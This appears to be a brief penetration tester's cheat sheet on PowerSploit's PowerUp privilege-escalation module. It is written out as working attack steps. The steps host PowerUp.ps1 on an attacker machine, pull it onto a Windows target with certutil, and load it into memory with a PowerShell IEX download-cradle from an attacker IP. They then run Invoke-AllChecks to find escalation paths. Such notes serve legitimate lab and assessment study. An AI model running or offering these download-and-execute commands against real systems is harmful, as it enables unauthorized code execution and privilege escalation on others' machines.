PowerSploit

Goals

• PowerSploit is a collection of Microsoft PowerShell modules that can be used to aid penetration testers during all phases of an assessment.
• To check and PoE!!!
• If PowerShell is unrestricted!

Ref

• https://github.com/PowerShellMafia/PowerSploit

Sample usage

• https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1
• git clone https://github.com/PowerShellMafia/PowerSploit
• cd ~/PowerSploit/Privesc
• python -m SimpleHTTPServer 80

Download and run

• Can download but not able to run: certutil.exe -urlcache -split -f http://192.168.136.133/PowerUp.ps1 PowerUp.ps1
• PS > IEX(New-Object Net.WebClient).downloadString('http://10.10.14.14/PowerUp.ps1')
• Invoke-AllChecks <=================== Check for PoE!!!!